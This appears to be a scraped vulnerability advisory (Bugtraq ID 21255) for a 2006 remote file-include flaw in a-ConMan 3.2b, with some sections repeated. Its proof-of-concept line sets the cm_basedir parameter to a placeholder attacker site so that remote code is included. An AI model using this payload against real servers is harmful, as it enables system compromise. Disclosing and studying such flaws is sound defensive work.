A-Conman Common.Inc.PHP Remote File Include Vulnerability
BID:21255
Info
A-Conman Common.Inc.PHP Remote File Include Vulnerability
| Bugtraq ID: | 21255 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 23 2006 12:00AM |
| Updated: | Nov 23 2006 04:45PM |
| Credit: | Ahmad Maulana a.k.a Matdhule is credited with the discovery of this vulnerability. |
| Vulnerable: |
a-ConMan a-ConMan 3.2b |
| Not Vulnerable: | |
Discussion
A-Conman Common.Inc.PHP Remote File Include Vulnerability
a-ConMan is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Versions 3.2b and prior are reported to be vulnerable to this issue; other versions may also be affected.
a-ConMan is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Versions 3.2b and prior are reported to be vulnerable to this issue; other versions may also be affected.
Exploit / POC
A-Conman Common.Inc.PHP Remote File Include Vulnerability
An attacker can exploit this issue via a web client.
The following proof of concept is available:
http://www.example.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker's site
An attacker can exploit this issue via a web client.
The following proof of concept is available:
http://www.example.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker's site
Solution / Fix
A-Conman Common.Inc.PHP Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].